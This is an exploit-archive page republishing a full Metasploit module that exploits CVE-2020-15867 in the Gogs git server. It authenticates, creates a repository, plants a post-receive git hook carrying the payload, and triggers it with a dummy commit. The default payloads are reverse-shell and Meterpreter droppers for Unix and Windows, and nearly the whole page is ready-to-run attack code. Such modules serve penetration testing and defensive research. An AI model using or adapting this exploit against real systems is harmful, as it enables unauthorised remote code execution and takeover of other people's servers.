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Gogs Git Hooks Remote Code Execution

Gogs Git Hooks Remote Code Execution
Posted Apr 7, 2021
Authored by Christophe de la Fuente, Podalirius | Site metasploit.com

This Metasploit module leverages an insecure setting to get remote code execution on the target OS in the context of the user running Gogs. This is possible when the current user is allowed to create git hooks, which is the default for administrative users. For non-administrative users, the permission needs to be specifically granted by an administrator. To achieve code execution, the module authenticates to the Gogs web interface, creates a temporary repository, sets a post-receive git hook with the payload and creates a dummy file in the repository. This last action will trigger the git hook and execute the payload. Everything is done through the web interface. No mitigation has been implemented so far (latest stable version is 0.12.3). This module has been tested successfully against version 0.12.3 on docker. Windows version could not be tested since the git hook feature seems to be broken.

tags | exploit, remote, web, code execution
systems | windows
advisories | CVE-2020-15867
MD5 | b94ad9d4b20219eb61069ef797cbb9b2

Gogs Git Hooks Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gogs Git Hooks Remote Code Execution',
'Description' => %q{
This module leverages an insecure setting to get remote code
execution on the target OS in the context of the user running Gogs.
This is possible when the current user is allowed to create `git
hooks`, which is the default for administrative users. For
non-administrative users, the permission needs to be specifically
granted by an administrator.

To achieve code execution, the module authenticates to the Gogs web
interface, creates a temporary repository, sets a `post-receive` git
hook with the payload and creates a dummy file in the repository.
This last action will trigger the git hook and execute the payload.
Everything is done through the web interface.

No mitigation has been implemented so far (latest stable version is
0.12.3).

This module has been tested successfully against version 0.12.3 on
docker. Windows version could not be tested since the git hook feature
seems to be broken.
},
'Author' => [
'Podalirius', # Original PoC
'Christophe De La Fuente' # MSF Module
],
'References' => [
['CVE', '2020-15867'],
['EDB', '49571'],
['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],
['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']
],
'DisclosureDate' => '2020-10-07',
'License' => MSF_LICENSE,
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options([
Opt::RPORT(3000),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with']),
OptString.new('PASSWORD', [true, 'Password to use']),
])

@need_cleanup = false
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
return CheckCode::Unknown('Target did not respond to check.')
end

# <meta name="author" content="Gogs" />
unless res.body.match(%r{<meta +name="author" +content="Gogs" */>})
return CheckCode::Unsupported('Target does not appear to be running Gogs.')
end

CheckCode::Appears('Gogs found')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")
gogs_login
print_good('Logged in')

@repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')
print_status("Create repository \"#{@repo_name}\"")
gogs_create_repo
@need_cleanup = true
print_good('Repository created')

case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper, :win_dropper
execute_cmdstager(background: true, delay: 1)
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

print_status('Setup post-receive hook with command')
gogs_post_receive_hook(cmd)
print_good('Git hook setup')

print_status('Create a dummy file on the repo to trigger the payload')
last_chunk = cmd_list ? cmd == cmd_list.last : true
gogs_create_file(last_chunk: last_chunk)
print_good("File created#{', shell incoming...' if last_chunk}")
end

def http_post_request(uri, opts = {})
csrf = opts.delete(:csrf) || get_csrf(uri)
timeout = opts.delete(:timeout) || 20

post_data = { _csrf: csrf }.merge(opts)
request_hash = {
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], uri),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => post_data
}

send_request_cgi(request_hash, timeout)
end

def get_csrf(uri)
vprint_status('Get "csrf" value')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri)
)
unless res
fail_with(Failure::Unreachable, 'Unable to get the CSRF token')
end

csrf = extract_value(res, '_csrf')
vprint_good("csrf=#{csrf}")
csrf
end

def extract_value(res, attr)
# <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">
# <input type="hidden" id="user_id" name="user_id" value="1" required>
# <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">
unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))
return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")
end

return match[:value]
end

def gogs_login
res = http_post_request(
'/user/login',
user_name: datastore['USERNAME'],
password: datastore['PASSWORD']
)
unless res
fail_with(Failure::Unreachable, 'Unable to reach the login page')
end

unless res.code == 302
fail_with(Failure::NoAccess, 'Login failed')
end

nil
end

def gogs_create_repo
uri = normalize_uri(datastore['TARGETURI'], '/repo/create')

res = send_request_cgi('method' => 'GET', 'uri' => uri)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end

vprint_status('Get "csrf" and "user_id" values')
csrf = extract_value(res, '_csrf')
vprint_good("csrf=#{csrf}")
user_id = extract_value(res, 'user_id')
vprint_good("user_id=#{user_id}")

res = http_post_request(
uri,
user_id: user_id,
repo_name: @repo_name,
private: 'on',
description: '',
gitignores: '',
license: '',
readme: 'Default',
auto_init: 'on',
csrf: csrf
)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end

unless res.code == 302
fail_with(Failure::UnexpectedReply, 'Create repository failure')
end

nil
end

def gogs_post_receive_hook(cmd)
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')
shell = <<~SHELL
#!/bin/bash
#{cmd}&
exit 0
SHELL

res = http_post_request(uri, content: shell)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end

unless res.code == 302
msg = 'Post-receive hook creation failure'
if res.code == 404
msg << ' (user is probably not allowed to create Git Hooks)'
end
fail_with(Failure::UnexpectedReply, msg)
end

nil
end

def gogs_create_file(last_chunk: false)
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')
filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"

res = send_request_cgi('method' => 'GET', 'uri' => uri)
unless res
fail_with(Failure::Unreachable, "Unable to reach #{uri}")
end

vprint_status('Get "csrf" and "last_commit" values')
csrf = extract_value(res, '_csrf')
vprint_good("csrf=#{csrf}")
last_commit = extract_value(res, 'last_commit')
vprint_good("last_commit=#{last_commit}")

http_post_request(
uri,
last_commit: last_commit,
tree_path: filename,
content: Rex::Text.rand_text_alpha(1..20),
commit_summary: '',
commit_message: '',
commit_choice: 'direct',
csrf: csrf,
timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting
)
vprint_status("#{filename} created")

nil
end

# Hook the HTTP client method to add specific cookie management logic
def send_request_cgi(opts, timeout = 20)
res = super

return unless res

# HTTP client does not handle cookies with the same name correctly. It adds
# them instead of substituing the old value with the new one.
unless res.get_cookies.empty?
cookie_jar_hash = cookie_jar_to_hash
cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' '))
cookie_jar_hash.merge!(cookies_from_response)
cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|
set << "#{cookie[0]}=#{cookie[1]}"
end
cookie_jar.clear
cookie_jar.merge(cookie_jar_updated)
end

res
end

def cookie_jar_to_hash(jar = cookie_jar)
jar.each_with_object({}) do |cookie, cookie_hash|
name, value = cookie.split('=')
cookie_hash[name] = value
end
end

def cleanup
super
return unless @need_cleanup

print_status('Cleaning up')
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')
res = http_post_request(uri, action: 'delete', repo_name: @repo_name)

unless res
fail_with(Failure::Unreachable, 'Unable to reach the settings page')
end

unless res.code == 302
fail_with(Failure::UnexpectedReply, 'Delete repository failure')
end

print_status("Repository #{@repo_name} deleted.")

nil
end
end
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